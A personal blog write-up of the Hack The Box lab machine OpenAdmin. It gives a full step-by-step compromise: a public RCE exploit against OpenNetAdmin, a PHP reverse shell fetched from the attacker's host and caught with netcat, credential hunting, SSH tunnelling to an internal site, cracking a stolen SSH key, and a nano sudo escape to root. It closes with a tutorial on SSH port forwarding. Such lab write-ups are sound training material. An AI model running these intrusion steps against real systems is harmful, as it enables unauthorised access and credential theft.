Another day, another write-up. Happy to see you here again. Today, we’re going to do another box of hackthebox which is named OpenAdmin. Without further ado, let’s hack!
This box was a lot of fun to me. It took me quite a while, not because it was so hard but, because of the amount of steps it takes to root this box. And, of course, because of the amount of enumeration required to identify those required steps.
To break it down, we have to enumerate a webserver to find a Remote-Code-Execution (RCE)-Vulnerability in a web application. With the reverse-shell we gained, we can enumerate a reused password to ssh in as a higher privileged user. That allows us to find another, internal webserver with a very dubious purpose. We port-forward that to our kali, access the page, steal a ssh-key and use that to ssh-in as yet another user. That user finally has partial sudo rights on nano which gives us an easy path to root.
Alright, let’s go. Don’t click here 😉
- nmap -sC -sV 10.10.10.171
- Find Port 80
- Note Port 22
- Enumerate 80
- / gives default apache page
- dirb http://10.10.10.171 /usr/share/wordlists/dirb/common.txt
- click login
- We are automatically logged in to opennetadmin 18.1.1
- A quick google yields a RCE Vulnerability
- Download and run script to gain shell
- wget https://raw.githubusercontent.com/amriunix/ona-rce/master/ona-rce.py
- python3 ona-rce.py exploit http://10.10.10.171/ona
- This shell sucks upload a php-reverse-shell and execute that
- on victim: wget http://10.10.14.6/php-reverse-shell.php
- on kali: nc -lnvp 5555
- on kali: visit 10.10.10.171/ona/php-reverse-shell.php
- look around A LOT
- cat /var/www/ona/local/config/database_settings.inc.php | grep pass yields n1nj4W4rri0R!
- ls /home shows joanna and jimmy
- SSH with jimmy and password works
- More enumeration led us to: /var/www/internal
- netstat -ano shows us, there is something listening on port 52846
- Also, /var/www shows an internal-folder
- index.php reveals a SHA-512 hash which can be cracked to Revealed, username jimmy
- Port-Forwarding: ssh -L 8081:127.0.0.1:52846 firstname.lastname@example.org
- ~C Enter -L 8081:127.0.0.1:52846 ← alternative for port forwarding
- Visit localhost:8080 on kali, login with jimmy:Revealed
- Copy key into file
- chmod 600 on that file
- We need to crack it
- python /usr/share/john/ssh2john.py key-joanna > hash.txt
- john hash.txt -w=~/rockyou.txt
- gives: bloodninjas
- SSH in as joanna: ssh -i key-joanna email@example.com + enter her passphrase
- sudo -l shows sudo /bin/nano /opt/priv is possible
- reset; sh 1>&0 2>&0
Here is what we’ll do:
Great to see you here. That means you didn’t just come for the – as always horrible – Draw-Up or the skiddy-steps to root.
First, as always, we start enumeration by using nmap:
We find port 22 and 80. I like that. Seems pretty obvious to go for the webserver to gain some kind of way to ssh into the machine. In my very personal process brute-forcing ssh or searching for a vulnerability in a given version of ssh is pretty far down the list. Enumerating a webserver is a lot higher on bespoken list.
Visiting the page in the browser only shows the default-apache page. Therefore, it’s time to search for other directories. We use dirb http://10.10.10.171 /usr/share/wordlists/dirb/common.txt and very quickly find /music. Visiting that page offers us a Login link. Using that leads us to:
That seems odd. An application seemingly used for admin-work available without login. You could even say we found an “OpenAdmin”-Page. Pun intended.
The application telling us that it is using an outdated version should immediately get your spidey-senses going. And, in fact, goolging “opennetadmin 18.1.1” yields a pretty easy RCE-Exploit.
Gaining a Foothold (and more enumeration)
Download and execute it to gain an initial foothold:
Great, we’re on the machine, having a shell. Now what? More enumeration of course. While doing the enumeration we pretty quickly realise that this shell sucks. The reason for that is, that the exploit we used works over http requests. Each request is executed in separation and we have to worry about URL-Encoding. To bypass that, let’s upload a php-reverse-shell to the directory we’re currently working in, open a netcat-listener and visit http://10.10.10.171/ona/php-reverse-shell.php in the browser:
on victim: wget http://10.10.14.6/php-reverse-shell.php
on kali: nc -lnvp 5555
on kali: visit 10.10.10.171/ona/php-reverse-shell.php
Way better … Now we have a fully working tty.
The following enumeration step took me way longer than it should’ve. A quick netstat -ano reveals a running mysql:
The quick-win should’ve been credential-hunting. And, in fact, we find the configuration file containing a password: n1nj4W4rri0R!
cat /var/www/ona/local/config/database_settings.inc.php | grep pass yields
cat /etc/passwd yields the users jimmy, joanna and root with a bash-shell on the box. So let’s go ahead and try the password we found for those users.
Switching to jimmy (and more enumeration)
Well, I can tell you root didn’t work. Who would’ve guessed? Neither is joanna. But jimmy does. That’s great. Let’s have a look at the files that jimmy owns:
More .php-files. In the folder /var/html/internal. That looks promising. Like there was another webserver running. Maybe on the final port that netstat -ano reveiled: 52846. We see that this is only available for internal calls. That tells me that the intended path is to forward this port to our machine to access it.
Cracking more Credentials
But first let’s have a look at the files. Visiting main.php will give us the ssh-key for joanna:
But, we need to have a session. Reading through index.php tells us, how we can get a session:
Username is jimmy, again and the password’s hash is… well it’s long. And crackable. Just throw it into crackstation and it will be “Revealed”.
Watching ippsec’s video on this box actually enlightened me (as always) to a not intended path. Because there is no “die”-command at the and of the first line, the script will continue to execute. That means the response will be a 302 so that we can’t see it in the browser, but a curl from the compromised box will reveal that:
Since this is NOT the intended path, we’re going to continue with the actually intended path. At least that’s what we germans do. Always try to stick to the intended path …
Retrieving & Cracking the ssh-key
Now that we know, that the page will give us Joanna’s SSH-Key if we have a session and now that we know how to retrieve a session, we only need to be able to visit the webserver. Since it is only accessible from within the network and we have access to a machine that is within the network, we are able to use Port-Forwarding. This is a super important concept, which takes some time to wrap your head around. More Details on that topic are below the post.
Executing: ssh -L 8081:127.0.0.1:52846 firstname.lastname@example.org on your attacker-machine will enable you to visit the page in your webbrowser on localhost:8081. What the command means in plain english is something like: “Hey victim(10.10.10.171), you have a port (52846) that I would like to visit. Unfortunately you’re only serving this internally. But you can trust me, I’m jimmy … you know me. Do me a favour and use this SSL-Connection to forward all the traffic from that port 52846 through this secure connection on port 22 to the port 8081 on my machine (127.0.0.1).”
Visiting this page reveals Joanna’s SSH-key:
It even gives us a hint regarding the password. We copy that password into a file on 0ur kali-machine, chmod 600 that file and crack it with john:
We have to do this cracking thing because SSH-Keys are usually encrypted with a password. Before we can use it, we need to decrypt it. After we successfully got the password, we can go on and log in as joanna.
Switching to joanna
After cracking the credentials we can easily ssh into the machine as joanna by executing:
ssh -i key-joanna email@example.com
with the password: bloodninjas
Now onto the last step, becoming root.
We came a long way already. Luckily this step will be very quick. One of the quick-wins I try on every box, that I get access to is sudo -l. This time we’re lucky. It reveils, that we have access to nano:
A quick glance at gtfobins tells us, how we can exploit that:
sh 1>&0 2>&0
Aaaaaaand we’re root. Congratulations!
Thanks for reading so far! As I mentioned earlier, my main takeaway from this box was how to handle port-forwarding better. Something that I’m always struggling with. To help you out, I’ll explain what happens using this command: ssh -L 8081:127.0.0.1:52846 firstname.lastname@example.org in a little more detail.
The most important thing I took from this box was gaining more confidence in using Port-Forwarding via SSH-Tunneling. Therefore, I’m going to explain it in a little more detail in the following:
Why do we need it?
The basic problem that we want to solve with this technique is accessing ports that someone does not want us to access. There are multiple layers of protection that we can bypass with port-forwarding. I’ll list some examples with simplicity in mind:
1. Bypassing a firewall: Let’s assume we have access to a single host within a corporate network, that is protected by a dedicated firewall. Further, let’s assume that this firewall only lets hosts from within the network visit outside-hosts on 443 or 22. Our task is to open a reverse-shell on our attacker-machine which is listening on port 4444. In this case we can use Port-Forwarding to tunnel all packets that are sent by the compromised host to our attacker-machine’s port 4444. The tunnel will be created with this commands:
Note that we open the tunnel from OUR MACHINE and that we need valid SSH-Credentials on the TARGET-MACHINE.
Afterwards all the packets that the compromised host sends to the attacker machine on 4444 will go through the tunnel, which has a destination port on 22 which will pass the firewall. Good Job.
2. Opening internal ports to external devices: This is actually the case that we had on this box – although we used Local port-forwarding there. As you can see, those techniques can be used interchangeable as long as you have valid SSH-credentials and open ports on both machines. There is a port in an internal network, that is not accessible to the outside world. But the service seems promising, so that we want to access it from our attacker-machine
Afterwards all packets that are sent from your attacker-machine to it’s localhost:8081 will be picked up by the tunnel, routed to the victim’s machine where they’ll arrive on port 22 and forwarded to port 52846. For the application on that port it’ll look like these packets came from the victim-machine sent by the user we used to ssh into the machine.
Note, that we open this tunnel from the TARGET MACHINE. We require to run an SSH-Server on OUR MACHINE.
A couple of remarks to the flags -L and -R: Local Port-Forwarding means that we forward a local-port to a machine somewhere else. Reverse Port-Forwarding on the other hands means, that we want to access a port on another machine, that we should not have access to. But, as aforementioned, if you think about it in detail: As long as you have ssh-access to both machines, you can use it either way. There’ll just be a small difference in how you actually setup the tunnel. You can find an example for that if you compare the solution mentioned in the writeup (which uses Local-Port-Forwarding, my go-to-solution), for a problem which sounds more like Reverse-Port-Forwarding (which is shown in the explanatory part of this blog-post).
Additionally, you should note, that there is something called Dynamic Port Forwarding. Since I didn’t have to bother with it yet, I’m not going to confuse you even more. If you have any legit use-cases for that kind of port-forwarding, please let me know 🙂
That’ll be it for today. If you like what you read, or have any feedback, please let me know @h4xil10.